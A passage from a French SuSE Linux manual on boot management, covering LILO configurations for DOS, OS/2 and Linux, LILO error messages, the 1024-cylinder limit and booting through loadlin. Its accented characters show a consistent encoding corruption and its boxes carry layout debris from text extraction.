  8935.                                  incohΘrentes, le fdisk de OS/2 considΦre la table des partitions comme er-
  8936.                                  ronΘe et refuse de remplir les fonctions de gestionnaire d'amorτage. Les
  8937.                                  programmes fdisk  d'autres systΦmes d'exploitation n'ont pas coutume de
  8938.                                  gΘrer de telles informations complΘmentaires : : :  Des conflits sont donc
  8939.                                  α prΘvoir.
  8940.                                  Il convient par consΘquent, avant l'installation de Linux, de charger OS/2
  8941.                                  (le systΦme d'installation est suffisant) et de crΘer les partitions Linux, du
  8942.  
  8943.  
  8944. 136
  8945.         __________________________________________________________________________________________4.8.__ProblΦmes_avec_LILO________*
  8946.  *_______________________
  8947.  
  8948.  
  8949.  
  8950.        moins les partitions logiques avec le fdisk  d'OS/2. Il en rΘsulte, dans un
  8951.        premier temps, d'autres unitΘs OS/2 qui peuvent Θventuellement causer
  8952.        pas mal de perturbations.
  8953.        Solution : Charger immΘdiatement aprΦs le systΦme d'installation de Li-
  8954.        nux (ou la disquette de secours) α partir du CD SuSE     Linux et modifier α
  8955.        l'aide du fdisk  de Linux le type de la partition Linux en 83 (Linux natif).
  8956.        Ainsi, ces partitions seront ignorΘes en bonne et due forme par OS/2.
  8957.  
  8958.   2.   PossibilitΘ : En tant que gestionnaire d'amorτage principal, LILO  est uti-
  8959.        lisΘ sur une partition primaire du premier disque15 . C'est un cas particulier
  8960.        de l'exemple qui va suivre et dans lequel DOS est Θgalement prΘsent.
  8961.  
  8962.  4.7.4      DOS, OS/2 et Linux
  8963.  
  8964.   1.   Si  vous  avez  utilisΘ  pour  DOS  et  OS/2  le  gestionnaire  d'amorτage
  8965.        d'OS/2 et si vous voulez continuer α l'utiliser, le plus simple est d'inclure
  8966.        Linux dans son menu de dΘmarrage : exactement comme il est dΘcrit dans
  8967.        le dernier exemple.
  8968.  
  8969.   2.   PossibilitΘ  :  En  tant  que  gestionnaire  d'amorτage  principal,  LILO   est
  8970.        utilisΘ sur une partition primaire du premier disque.
  8971.        L'exemple compliquΘ qui va suivre pour lilo.conf (fichier 4.7.2 page
  8972.        suivante)  prΘsume  que  les  partitions  de  dΘmarrage  pour  DOS  (partition
  8973.        primaire)  et  pour  Linux  (partition  primaire)  se  trouvent  sur  le  premier
  8974.        disque  et  que  la  partition  de  dΘmarrage  (logique)  pour  OS/2  est  situΘe
  8975.        sur le deuxiΦme disque ~ chacune d'entre elles dans la limite des 1024
  8976.        cylindres. OS/2 se trouve sur le deuxiΦme disque, c'est pourquoi α la place
  8977.        de /boot/chain.b on utilise le chargeur spΘcial /boot/os2_d.b.
  8978.        Il est indiffΘrent que le code du MBR provienne de MS-DOS ou d'OS/2.
  8979.        Dans la table des partitions, la partition LILO  /dev/sda4 doit Ωtre mar-
  8980.        quΘe comme partition de dΘmarrage (active) α l'aide du programme fdisk .
  8981.  
  8982.  
  8983.  4.8       ProblΦmes avec LILO
  8984.  
  8985.  
  8986.  Quelques directives
  8987.  
  8988.  Commenτons par quelques directives simples qui vous permettront d'Θviter
  8989.  dΦs  le  dΘbut  la  plupart  des  problΦmes  liΘs  α  LILO  (extrait  du  manuel  de
  8990.  l'utilisateur [Alm96     ]) :
  8991.  
  8992.    ~   Pas de panique ! Si quelque chose ne fonctionne pas : essayez d'abord
  8993.        de retrouver l'erreur et d'en dΘcouvrir la cause ; vΘrifiez votre diagnostic
  8994.        avant de commencer α prendre des mesures pour y remΘdier.
  8995.  
  8996.    ~   Tenez toujours α disposition une ``disquette de boot'' actuelle et ΘprouvΘe.
  8997.        La disquette d'amorτage et le CD d'installation SuSE     Linux contiennent,
  8998.        depuis la version 5.0, un systΦme Linux autonome (systΦme de secours,
  8999.        voir  paragraphe  16.5  page  438),  avec  lequel  vous  pourrez  de  nouveau
  9000.        accΘder  α  vos  partitions  Linux.  Il  contient  suffisamment  d'outils  pour
  9001.        rΘsoudre la plupart des problΦmes posΘs par des disques durs qui ne sont
  9002.        plus accessibles.
  9003. 15      ____________________________________________________
  9004.     Moins effectif : le MBR, car chaque repartitionnement avec un fdisk  Θtranger pourrait le
  9005.  rΘΘcrire et supprimer ainsi LILO .
  9006.  
  9007.  
  9008.                                                                                                                                    *
  9009.  *    137
  9010. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  9011.  *_______________________________________@
  9012.                            |                                                                                                       *
  9013.  *         |
  9014.                            ________________________________________________________________________________________________________*
  9015.  *________||
  9016.                            | #  LILO  Fichier  de  configuration                                                                   *
  9017.  *         |
  9018.                            |                                                                                                       *
  9019.  *         |
  9020.                            | #  Start  LILO  global  Section                                                                       *
  9021.  *         |
  9022.                            | boot    =  /dev/sda4              #  LILO  dans  la  partition  racine  Linux                         *
  9023.  *         |
  9024.                            | backup  =  /boot/boot.sda4.970428                                                                     *
  9025.  *         |
  9026.                            |                                                                                                       *
  9027.  *         |
  9028.                            | message  =  /boot/message    #    Message  d'accueil                                                  *
  9029.  *         |
  9030.                            | prompt                                                                                                *
  9031.  *         |
  9032.                            |                                                                                                       *
  9033.  *         |
  9034.                            | delay  =  100                                                                                         *
  9035.  *         |
  9036.                            | vga     =  normal                                                                                     *
  9037.  *         |
  9038.                            |                                                                                                       *
  9039.  *         |
  9040.                            | #                                                                                                     *
  9041.  *         |
  9042.                            | #  Linux  bootable  partition  config  begins                                                         *
  9043.  *         |
  9044.                            |                                                                                                       *
  9045.  *         |
  9046.                            | image  =  /boot/vmlinuz                                                                               *
  9047.  *         |
  9048.                            |        label  =  linux                                                                                *
  9049.  *         |
  9050.                            |                                                                                                       *
  9051.  *         |
  9052.                            |        root    =  /dev/sda4                                                                           *
  9053.  *         |
  9054.                            | #  Linux  bootable  partition  config  ends                                                           *
  9055.  *         |
  9056.                            | #                                                                                                     *
  9057.  *         |
  9058.                            |                                                                                                       *
  9059.  *         |
  9060.                            | #  OS/2  bootable  partition  config  begins                                                          *
  9061.  *         |
  9062.                            | other  =  /dev/sdb5                                                                                   *
  9063.  *         |
  9064.                            |                                                                                                       *
  9065.  *         |
  9066.                            |        table  =  /dev/sdb                                                                             *
  9067.  *         |
  9068.                            |        label  =  os2                                                                                  *
  9069.  *         |
  9070.                            |                                                                                                       *
  9071.  *         |
  9072.                            |        loader  =  /boot/os2_d.b                                                                       *
  9073.  *         |
  9074.                            | #  New  for  LILO  v20  and  newer:  interchange  disk  drives:                                       *
  9075.  *         |
  9076.                            |                                                                                                       *
  9077.  *         |
  9078.                            |          map-drive  =  0x80       #    first  hd:  BIOS  number  0x80                                 *
  9079.  *         |
  9080.                            |          to              =  0x81       #  second  hd:  BIOS  number  0x81                             *
  9081.  *         |
  9082.                            |                                                                                                       *
  9083.  *         |
  9084.                            |          map-drive  =  0x81                                                                           *
  9085.  *         |
  9086.                            |          to              =  0x80                                                                      *
  9087.  *         |
  9088.                            | #  OS/2  bootable  partition  config  ends                                                            *
  9089.  *         |
  9090.                            |                                                                                                       *
  9091.  *         |
  9092.                            | #                                                                                                     *
  9093.  *         |
  9094.                            | #  DOS  bootable  partition  config  begins                                                           *
  9095.  *         |
  9096.                            |                                                                                                       *
  9097.  *         |
  9098.                            | other  =  /dev/sda1                                                                                   *
  9099.  *         |
  9100.                            |        table  =  /dev/sda                                                                             *
  9101.  *         |
  9102.                            |                                                                                                       *
  9103.  *         |
  9104.                            |        label  =  dos                                                                                  *
  9105.  *         |
  9106.                            | #  DOS  bootable  partition  config  ends                                                             *
  9107.  *         |
  9108.                            |_______________________________________________________________________________________________________*
  9109.  *________ |
  9110.  
  9111.                                   fichier 4.7.2: LILO  avec DOS, OS/2 et Linux sur deux disques durs
  9112.  
  9113.  
  9114.  
  9115.                              ~   Lisez la documentation, surtout si le systΦme ne fait pas ce qu'α votre avis
  9116.                                  il devrait faire.
  9117.  
  9118.                              ~   Avant chaque appel du map-installer (/sbin/lilo) : vΘrifiez soigneuse-
  9119.                                  ment le fichier de configuration /etc/lilo.conf.
  9120.  
  9121.                              ~   Invoquez  /sbin/lilo  α  chaque  fois  qu'un  ΘlΘment  du  mΘcanisme  de
  9122.                                  dΘmarrage de LILO  ou le fichier de configuration de LILO  /etc/lilo.
  9123.                                  conf a ΘtΘ modifiΘ.
  9124.  
  9125.                              ~   La prudence est de rigueur si vous avez de grands disques ou plusieurs
  9126.                                  disques : tenez compte de la limite des 1024 cylindres !
  9127.  
  9128.                              ~   Faites un essai avec et sans option linear       (il est le plus souvent prΘfΘ-
  9129.                                  rable de se passer de cette option !)
  9130.  
  9131.  
  9132.                            4.8.1      Diagnostic d'erreur : Message de dΘmarrage de LILO
  9133.  
  9134.                            Nous  reprenons  ici,  en  le  traduisant,  l'essentiel  d'un  paragraphe  extrait  de
  9135.                            [Alm96     ] de la description faite par Werner Almesberger.
  9136.  
  9137.  
  9138. 138
  9139.        __________________________________________________________________________________________4.8.__ProblΦmes_avec_LILO_________*
  9140.  *______________________
  9141.  
  9142.  
  9143.  
  9144. Lorsque LILO  est chargΘ, il affiche le mot `LILO'. Chaque lettre correspond
  9145. α l'achΦvement d'une phase spΘcifique. Lorsque LILO  ne peut pas dΘmarrer,
  9146. les lettres dΘjα affichΘes montrent de faτon prΘcise α quel stade un problΦme
  9147. est survenu.
  9148.  
  9149.  
  9150. (rien)     Aucune partie de LILO  n'a ΘtΘ chargΘe. Ou LILO  n'est pas du tout
  9151.       installΘ, ou la partition contenant le secteur d'amorτage de LILO  n'a pas
  9152.       ΘtΘ initialisΘe.
  9153.  
  9154. `L' error : : :       Le  ``premier  niveau''  a  ΘtΘ  chargΘ  et  dΘmarrΘ  mais  le  second
  9155.       niveau  n'a  pas  pu  Ωtre  chargΘ  (/boot/boot.b).  Ceci  laisse  habituelle-
  9156.       ment supposer qu'on est en prΘsence d'un dΘfaut physique du support de
  9157.       donnΘes d'amorτage ou d'une incohΘrence dans la gΘomΘtrie du disque.
  9158.  
  9159. `LI'      Le second niveau de LILO  a ΘtΘ chargΘ mais n'a pas pu Ωtre dΘmarrΘ.
  9160.       Cela a pu Ωtre provoquΘ par une incohΘrence dans la gΘomΘtrie du disque
  9161.       ou par le dΘplacement de /boot/boot.b sans rΘinstallation de LILO .
  9162.  
  9163. `LIL'       Le second niveau de LILO  a ΘtΘ dΘmarrΘ mais n'a pas pu charger les
  9164.       donnΘes nΘcessaires (table de descripteurs etc.) depuis le fichier map. Ceci
  9165.       est typiquement provoquΘ par un dΘfaut physique du support de donnΘes
  9166.       d'amorτage ou par une incohΘrence dans la gΘomΘtrie du disque.
  9167.  
  9168. `LIL ?'        Le  second  niveau  de  LILO  a  ΘtΘ  chargΘ  α  une  adresse  mΘmoire
  9169.       erronΘe. Ceci est typiquement provoquΘ par une incohΘrence subtile dans
  9170.       la  gΘomΘtrie  du  disque  ou  par  le  dΘplacement  de  /boot/boot.b  sans
  9171.       nouvelle installation de LILO .
  9172.  
  9173. `LIL-'        Les donnΘes dans le fichier map sont corrompues. Ceci est typique-
  9174.       ment provoquΘ par une incohΘrence dans la gΘomΘtrie du disque ou par le
  9175.       dΘplacement de /boot/boot.b sans nouvelle installation de LILO .
  9176.  
  9177. `LILO'        Toutes les parties de LILO  ont ΘtΘ chargΘes avec succΦs.
  9178.  
  9179.  
  9180. Les  causes  les  plus  courantes  pour  des  incohΘrences  dans  la  gΘomΘtrie  ne
  9181. sont  pas  des  dΘfauts  physiques  ni  des  tables  de  partitions  non  valides  mais
  9182. des erreurs lors de l'installation de LILO  :
  9183.  
  9184.  
  9185.   ~   non respect de la limite des 1024 cylindres (voir paragraphe suivant) ;
  9186.  
  9187.   ~   Θchec  dans  la  tentative  de  dΘmarrer  avec  LILO  α  partir  d'une  partition
  9188.       logique.
  9189.  
  9190.  
  9191. 4.8.2      La limite des 1024 cylindres
  9192.  
  9193. Comme  nous  l'avons  dΘjα  rΘpΘtΘ  plusieurs  fois  (  page  121),  la  totalitΘ  du
  9194. mΘcanisme de dΘmarrage de LILO , c'est-α-dire l'ensemble des donnΘes dont
  9195. LILO  a  besoin  pour  dΘmarrer,  doit  Ωtre  accessible  avec  les  seules  routines
  9196. du BIOS. Nous avons dΘjα mentionnΘ quels secteurs du disque dur peuvent
  9197. Ωtre considΘrΘs comme adΘquats (par la suite, nous parlerons simplement de
  9198. secteurs admissibles).
  9199.  
  9200. Quelles possibilitΘs peut-on envisager avec ces restrictions ? En fait un bon
  9201. nombre si l'on considΦre que seul le mΘcanisme de dΘmarrage est concernΘ.
  9202. Aucune  rΦgle  ne  prescrit  que  celui-ci  doit  Ωtre  situΘ  sur  la  partition  racine
  9203. de Linux : il est mΩme possible, en cas de nΘcessitΘ absolue, (bien que cela
  9204.  
  9205.  
  9206.                                                                                                                                    *
  9207.  *   139
  9208. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  9209.  *_______________________________________@
  9210.  
  9211.  
  9212.  
  9213.                            comporte certains risques) de transfΘrer les fichiers concernant le dΘmarrage
  9214.                            sur les partitions d'autres systΦmes d'exploitation α condition que Linux ait
  9215.                            un accΦs en lecture et en Θcriture α leurs systΦmes de fichiers.
  9216.                            ________________________________________________________________________________________________________*
  9217.  *________||
  9218.                            |  Vous  devez  seulement  vous  garder  d'installer  le  secteur  d'amorτage  de                       *
  9219.  *        ||||
  9220.                            |  LILO sur une partition ΘtrangΦre car le systΦme de fichiers de celle-ci serait                       *
  9221.  *        |||
  9222.                            |                                                                                                       *
  9223.  *        |||
  9224.                            |  trΦs probablement dΘtΘriorΘ !                                                                        *
  9225.  *        |||
  9226.                            |_______________________________________________________________________________________________________*
  9227.  *________|||_
  9228.  
  9229.  
  9230.                              ~   La  solution  la  plus  correcte  consiste  α  crΘer,  lors  de  l'installation  de
  9231.                                  Linux, une partition primaire Linux dans les limites du secteur admissible
  9232.                                  et d'y loger les donnΘes de LILO  (y compris le secteur d'amorτage de
  9233.                                  LILO ). Cette partition est actuellement, dans la majeure partie des cas,
  9234.                                  la partition racine de Linux. Depuis la version 6.0 de SuSE      Linux, une
  9235.                                  partition (/boot) sΘparΘe est prΘvue pour le cas d'une installation avec
  9236.                                  YaST .  Cette  partition  a  seulement  la  taille  nΘcessaire  pour  contenir  les
  9237.                                  fichiers suivants :
  9238.  
  9239.                                  ~   boot.b, map, messages,
  9240.  
  9241.                                  ~   les noyaux Linux que LILO  doit amorcer.
  9242.  
  9243.                                  Il suffit donc de quelques mΘga-octets. Le reste du systΦme ne subit plus
  9244.                                  aucune restriction concernant son emplacement sur le(s) disque(s) dur(s) :
  9245.                                  lorsque le noyau a commencΘ α tourner, il a un accΦs illimitΘ α tous les
  9246.                                  disques durs du systΦme.
  9247.  
  9248.  
  9249.                            Mais que faire s'il n'y a plus de place pour une telle partition ? Si vous ne
  9250.                            voulez  pas  ou  ne  pouvez  pas  repartitionner  et  s'il  n'est  pas  non  plus  ques-
  9251.                            tion  d'envisager  une  mise  α  niveau  (angl.  upgrade)  vers  SCSI  ou  un  BIOS
  9252.                            moderne, il existe encore deux solutions de fortune :
  9253.  
  9254.  
  9255.                              ~   Utiliser une disquette d'amorτage α la place de LILO  sur le disque ou, si
  9256.                                  vous travaillez sous MS-DOS, amorcer Linux α l'aide de loadlin .
  9257.  
  9258.                              ~   Placer  tout  ce  qui  constitue  le  mΘcanisme  de  dΘmarrage  de  LILO  sur
  9259.                                  une partition non Linux situΘe dans les limites du secteur admissible et
  9260.                                  sur  laquelle  Linux  peut  Θcrire  (par  exemple  une  unitΘ  de  disque  DOS
  9261.                                  FAT/VFAT). Il n'est naturellement pas possible d'y Θcrire aussi le secteur
  9262.                                  d'amorτage de LILO ! Il ne reste donc plus pour cela que le dΘbut d'une
  9263.                                  partition Θtendue sur le premier disque ~ avant le 1024Φme cylindre ~ ou
  9264.                                  le  MBR.  Supposons  que  la  partition  concernΘe  soit  montΘe  sous  /mnt.
  9265.                                  LILO  doit Ωtre placΘ sur le MBR, par exemple /dev/hda et doit en plus
  9266.                                  amorcer DOS depuis /dev/hda1. La procΘdure se dΘroule ainsi :
  9267.  
  9268.                                  ~   Vous crΘez un nouveau rΘpertoire, par exemple /mnt/LINUX et vous
  9269.                                      y  copiez  les  fichiers  LILO  que  nous  venons  de  mentionner  depuis
  9270.                                      /boot : boot.b, map, messages ainsi que les chargeurs (chain-loader)
  9271.                                      pour les autres systΦmes d'exploitation (chain.b) et le noyau Linux
  9272.                                      que LILO  doit amorcer.
  9273.  
  9274.                                  ~   Vous crΘez un /mnt/LINUX/lilo.cfg dans lequel tous les chemins
  9275.                                      d'accΦs pointent sur /mnt/LINUX (fichier 4.8.1 page ci-contre) :
  9276.  
  9277.  
  9278. 140
  9279.        __________________________________________________________________________________________4.8.__ProblΦmes_avec_LILO_________*
  9280.  *______________________||||
  9281.  
  9282.        _______________________________________________________________________________________________________________________||||
  9283.        |||||||| #  LILO  Fichier  de  configuration    RΘpertoire  Θtranger                                                    |
  9284.        |||||||||#  Start  LILO  global  Section                                                                                ||
  9285.        |||||||| boot=/dev/hda                        #  Cible  de  l'installation                                              |
  9286.        |||||||| backup=/mnt/LINUX/hda.xxxx    #  sauvegarde  de  l'ancier  MBR                                                 |
  9287.        ||||||||                                                                                                                |
  9288.        |||||||| install=/mnt/LINUX/boot.b    #  Naturellement  LILO  et                                                        |
  9289.        |||||||| map=/mnt/LINUX/map                #  fichier  map    dans  /mnt/LINUX!                                         |
  9290.        ||||||||                                                                                                                |
  9291.        |||||||| message=/mnt/LINUX/message  #  optionnel                                                                       |
  9292.        |||||||| prompt                                                                                                         |
  9293.        ||||||||                                                                                                                |
  9294.        |||||||| timeout=100         #  Attente  α  l'invite:  10  s                                                            |
  9295.        |||||||| vga  =  normal       #                                                                                         |
  9296.        |||||||| #  End  LILO  global  section                                                                                  |
  9297.        ||||||||                                                                                                                |
  9298.        |||||||| #                                                                                                              |
  9299.        |||||||| #  Linux  bootable  partition  config  begins                                                                  |
  9300.        ||||||||                                                                                                                |
  9301.        |||||||| image  =  /mnt/LINUX/premier_noyau     #     par  dΘfaut                                                       |
  9302.        ||||||||        root  =  /dev/Votre_pΘriphΘrique_racine  #  partition                                                   |
  9303.        ||||||||                                                                                                                |
  9304.        ||||||||                                                                         #  racine  par  ici!                   |
  9305.        ||||||||        label  =  linux                                                                                         |
  9306.        ||||||||                                                                                                                |
  9307.        |||||||| #  Linux  bootable  partition  config  ends                                                                    |
  9308.        |||||||| #                                                                                                              |
  9309.        ||||||||                                                                                                                |
  9310.        |||||||| #  Sections  de  systΦme  pour  autres  noyaux  ici:                                                           |
  9311.        |||||||| #                                                                                                              |
  9312.        |||||||| #  Fin  de  Linux                                                                                              |
  9313.        ||||||||                                                                                                                |
  9314.        |||||||| #  DOS  bootable  partition  config  begins                                                                    |
  9315.        |||||||| other  =  /dev/hda1           #  UnitΘ  de  disque  MSDOS                                                      |
  9316.        ||||||||                                                                                                                |
  9317.        ||||||||        label  =  dos                                                                                           |
  9318.        ||||||||        loader  =  /mnt/LINUX/chain.b                                                                           |
  9319.        ||||||||                                                                                                                |
  9320.        ||||||||        table  =  /dev/hda                                                                                      |
  9321.        |||||||| #  DOS  bootable  partition  config  ends                                                                      |
  9322.        ||||||||_______________________________________________________________________________________________________________ |
  9323.  
  9324.                       fichier 4.8.1: lilo.cfg        pour partition ΘtrangΦre
  9325.  
  9326.  
  9327.  
  9328.       ~   Vous installez LILO  avec ce lilo.cfg :
  9329.  
  9330.           terre:  #  /sbin/lilo  -C  /mnt/LINUX/lilo.cfg
  9331.  
  9332.           LILO  devrait ensuite fonctionner. Amorcez MS-DOS et protΘgez les
  9333.           fichiers  LILO ,  autant  que  faire  se  peut,  contre  les  accΦs  en  Θcriture.
  9334.           (Rappel  :  chacun  de  ces  accΦs  met  LILO  hors  fonction !).  Assignez
  9335.           au moins les attributs DOS systΦme et cachΘ  α tous les fichiers dans
  9336.           X:\LINUX  (X  :  Θtant  l'unitΘ  MS-DOS  qui  vient  d'Ωtre  montΘe  sous
  9337.           /mnt).
  9338.  
  9339.  
  9340. Pour  terminer,  nous  tenons  α  attirer  votre  attention  sur  les  deux  HOWTO
  9341. LILO.gz  et  Large-Disk.gz  qui  traitent  ce  sujet  (/usr/doc/howto/en/
  9342. mini/).
  9343.  
  9344.  
  9345. 4.8.3      ProblΦmes d'amorτage particuliers avec le noyau α partir de 2.0
  9346.  
  9347. Lors de l'amorτage avec LILO  ~ que ce soit α partir d'une disquette ou d'un
  9348. disque dur ~ il survient quelquefois des problΦmes aprΦs le chargement d'un
  9349. gros noyau (par exemple le noyau d'installation SuSE    ) :-(
  9350.  
  9351. Bien qu'il soit possible de sΘlectionner un noyau α l'invite de LILO  et bien
  9352. que le noyau soit aussi chargΘ (certains points sont affichΘs), il se peut que le
  9353.  
  9354.  
  9355.                                                                                                                                    *
  9356.  *   141
  9357. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  9358.  *_______________________________________@
  9359.  
  9360.  
  9361.  
  9362.                            dΘmarrage ne se fasse pas. Cela signifie qu'avant le message "uncompres-
  9363.                            sing  Linux" le systΦme se plante en rΘagissant de diverses maniΦres.
  9364.                            Messages ou sympt⌠mes d'erreurs possibles :
  9365.  
  9366.                              ~   Le systΦme amorce de nouveau
  9367.  
  9368.                              ~   Le systΦme demeure inerte
  9369.  
  9370.                              ~   "crc-error"
  9371.  
  9372.                              ~   "no  free  space"
  9373.  
  9374.                              ~   "Error  0x00"
  9375.  
  9376.                              ~   "Error  0x01"
  9377.  
  9378.                              ~   "incomplete  literal  tree"
  9379.  
  9380.                            Ensuite,  on  accΦde  encore  partiellement  α  la  disquette  mais  le  systΦme  ne
  9381.                            bouge pas.
  9382.  
  9383.                            La cause rΘside dans la combinaison d'un gros noyau, de LILO  et d'un ma-
  9384.                            tΘriel dΘficient. Ceci concerne environ 1 % des machines.
  9385.  
  9386.                            Nous supposons qu'un BIOS dΘfectueux a des difficultΘs α accΘder rapide-
  9387.                            ment α la mΘmoire.
  9388.  
  9389.                            Ce problΦme ne survient pas si
  9390.  
  9391.                              ~   Linux a ΘtΘ amorcΘ avec loadlin (paragraphe 4.9 page suivante),
  9392.  
  9393.                              ~   le noyau a ΘtΘ copiΘ sur une disquette par exemple avec
  9394.                                       terre:  #  dd  if=/boot/vmlinuz  of=/dev/fd0
  9395.  
  9396.                                  et s'il est chargΘ directement α partir de celle-ci
  9397.  
  9398.                              ~   un plus petit noyau qui a ΘtΘ crΘΘ avec
  9399.                                       terre:  #  make  zImage
  9400.  
  9401.                                  est amorcΘ avec LILO .
  9402.  
  9403.                            Les  configurations  de  BIOS  suivantes  ont  Θgalement  pu  amorcer  sans  pro-
  9404.                            blΦme :
  9405.  
  9406.                              ~   Mettre hors fonction (disable       ) ``Internal Cache''
  9407.  
  9408.                              ~   DRAM  Precharge  Wait  State                    sur 1  et
  9409.  
  9410.                              ~   DRAM  Wait  Burst  Timing                 auf 0x3333
  9411.  
  9412.                            Solution
  9413.  
  9414.                            Tout  d'abord,  il  est  nΘcessaire  qu'un  systΦme  puisse  Ωtre  installΘ.  Si  vous
  9415.                            ne pouvez pas amorcer directement avec loadlin  (ou setup.exe ) vous devriez
  9416.                            utiliser  pour  l'installation  une  vieille  disquette  d'amorτage  1.2.13.  Si  vous
  9417.                            n'en avez pas α votre disposition, modifiez les paramΦtres du BIOS.
  9418.  
  9419.                            AprΦs  une  installation  terminΘe  avec  succΦs,  la  question  se  pose  de  savoir
  9420.                            comment amorcer le systΦme. On amorce d'abord α partir du mΩme support
  9421.                            que pour l'installation. Avec loadlin α partir de la partition DOS, il n'y a au-
  9422.                            cun problΦme. Avec une disquette d'amorτage, spΘcifiez comme paramΦtre :
  9423.                                  load_ramdisk=0  root=/dev/<partition_racine>
  9424.  
  9425.                            <partition racine> est ici la partition racine, par exemple hda1.
  9426.  
  9427.  
  9428.  
  9429. 142
  9430.        ______________________________________________4.9.__Construire_un_mΘcanisme_d'amorτage_avec_loadlin_________________________*
  9431.  *______________________
  9432.  
  9433.  
  9434.  
  9435. 4.9       Construire un mΘcanisme d'amorτage avec loadlin
  9436.  
  9437. Nous  allons  maintenant,  avec  loadlin ,  vous  prΘsenter  une  autre  mΘthode
  9438. d'amorτage de SuSE      Linux. loadlin  est un programme DOS capable de dΘ-
  9439. marrer un noyau Linux stockΘ dans un rΘpertoire DOS. loadlin s'intΦgre har-
  9440. monieusement  dans  un  environnement  DOS/Windows  9x  et  peut  Ωtre  aisΘ-
  9441. ment lancΘ α l'aide du gestionnaire d'amorτage de Windows. Aucune entrΘe
  9442. n'Θtant faite dans le +  MBR, Windows ne voit de Linux qu'une ou plusieurs
  9443. partitions avec des identificateurs (angl. ID) qui lui sont inconnus. Le risque
  9444. d'effets  secondaires  indΘsirables  dus  α  la  prΘsence  de  Linux  sur  votre  ma-
  9445. chine devient ainsi minimal. La procΘdure dΘcrite ici fonctionne aussi bien
  9446. avec Windows 95 qu'avec Windows 98. Les fichiers de configuration qui vous
  9447. sont prΘsentΘs ont ΘtΘ dΘveloppΘs sous Windows 95, c'est pourquoi il ne sera
  9448. question ici que de Windows 95.
  9449.  
  9450. Si  vous  voulez  utiliser  loadlin  pour  lancer  Linux,  vous  devez  prΘparer  le
  9451. chemin. Vous devez aussi, en fonction des caractΘristiques de votre systΦme,
  9452. modifier certains fichiers de dΘmarrage.
  9453.  
  9454. Vous pouvez, en principe, activer loadlin  de deux maniΦres : en choisissant,
  9455. lors du dΘmarrage du systΦme, entre plusieurs configurations dans le menu de
  9456. dΘmarrage ou en activant loadlin  α partir du systΦme en cours d'exΘcution et
  9457. en passant α Linux.
  9458.  
  9459. Ces deux mΘthodes ont leurs avantages et leurs inconvΘnients :
  9460.  
  9461.  
  9462.   ~   Le menu de dΘmarrage vous Θvite de faire un dΘtour par un autre systΦme
  9463.       d'exploitation afin de pouvoir lancer Linux.
  9464.  
  9465.   ~   Dans un menu de dΘmarrage, vous pouvez aussi inclure d'autres configu-
  9466.       rations et construire ainsi un mΘcanisme de dΘmarrage universel.
  9467.  
  9468.   ~   Vous  devez  toutefois  modifier  les  fichiers  de  dΘmarrage  pour  crΘer  un
  9469.       menu de dΘmarrage ; pour cela, il est parfois nΘcessaire de faire quelques
  9470.       essais.  Vous  pouvez  Θventuellement  trouver  quelque  chose  dans  les  fi-
  9471.       chiers d'aide DOS en tapant help  menu       .
  9472.  
  9473.   ~   └ l'invite du DOS, le passage α Linux est trΦs facile.
  9474.  
  9475.   ~   Sous  Windows  95,  il  est  possible  d'intΘgrer  harmonieusement  le  mΘca-
  9476.       nisme de dΘmarrage de Linux dans l'interface graphique. Un double clic
  9477.       sur une ic⌠ne vous fait passer sous Linux. Mais un menu de dΘmarrage
  9478.       est Θgalement possible sous Windows 95 (Windows 95 inclut DOS 7.0).
  9479.  
  9480.  
  9481. Recommandation
  9482.        _______________________________________________________________________________________________________________________|||
  9483.        ||||||||                                                                                                 ||             |
  9484.        ||||||||  Utilisez, si possible, un menu de dΘmarrage si vous voulez lancer Linux                        ||             |
  9485.        ||||||||  directement  aprΦs  l'allumage  de  la  machine.  La  mΘthode  de  l'invite  du                ||             |
  9486.        ||||||||                                                                                                 ||             |
  9487.        ||||||||  DOS ou du double clic peut aussi Ωtre utilisΘe en supplΘment si vous voulez                    ||             |
  9488.        ||||||||  passer de DOS/Windows 95 α Linux.                                                              ||             |
  9489.        ||||||||                                                                                                 ||             |
  9490.        ||||||||  Il y aurait beaucoup α dire sur les menus de dΘmarrage et la configuration                     ||             |
  9491.        ||||||||  de Windows 95 et vous comprendrez que nous ne pouvons traiter ici que                          ||             |
  9492.        ||||||||                                                                                                 ||             |
  9493.        ||||||||  les grandes lignes de ces sujets.                                                              ||             |
  9494.        ||||||||_______________________________________________________________________________________________________________||_
  9495.  
  9496.  
  9497.                                                                                                                                    *
  9498.  *   143
  9499. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  9500.  *_______________________________________@
  9501.  
  9502.  
  9503.  
  9504.                            4.9.1      Fichiers indispensables pour loadlin
  9505.                            Voici  ce  que  vous  devez  toujours  faire  (sous  DOS,  Windows  3.x  et  Win-
  9506.  
  9507.                            dowx 95) :
  9508.  
  9509.                             1.   Vous  avez  probablement  dΘjα  installΘ  loadlin  (voir  paragraphe  2.5.4
  9510.                                  page 52). Si ce n'est pas le cas, vous devez d'abord l'installer α partir du
  9511.                                  CD 1 via setup     .
  9512.  
  9513.                             2.   Passez  (sous  MS-DOS)  au  dossier  c  :\loadlin         .  Il  s'y  trouve  un  fi-
  9514.                                  chier  linux.par        .  CrΘez,  α  l'aide  d'un  Θditeur,  un  fichier  du  nom  de
  9515.                                  startlin.bat           . (ou d'un autre nom qui vous convient). ╔crivez dans ce
  9516.                                  fichier une ligne semblable par exemple α celle du fichier 4.9.1.
  9517.  
  9518.                            ________________________________________________________________________________________________________*
  9519.  *________
  9520.                            | c:\loadlin\loadlin  @c:\loadlin\linux.par                                                             *
  9521.  *         |
  9522.                            |_______________________________________________________________________________________________________*
  9523.  *________ |
  9524.  
  9525.                                  fichier 4.9.1: Exemple d'un fichier batch pour le dΘmarrage de Linux
  9526.  
  9527.  
  9528.                                  ╔ditez  maintenant,  dans  le  fichier  linux.par,  la  ligne  suivante  de  la
  9529.                                  mΩme maniΦre que dans le fichier 4.9.2
  9530.  
  9531.                            ________________________________________________________________________________________________________*
  9532.  *________||
  9533.                            | c:\loadlin\zimage     #  la  premiΦre  valeur  doit  Ωtre                                             *
  9534.  *         |
  9535.                            |                                                                                                       *
  9536.  *         |
  9537.                            |                                   #  le  nom  de  fichier  du  noyau  Linux                           *
  9538.  *         |
  9539.                            |                                                                                                       *
  9540.  *         |
  9541.                            | initrd=c:\loadlin\initrd                                                                              *
  9542.  *         |
  9543.                            |                                                                                                       *
  9544.  *         |
  9545.                            |                                                                                                       *
  9546.  *         |
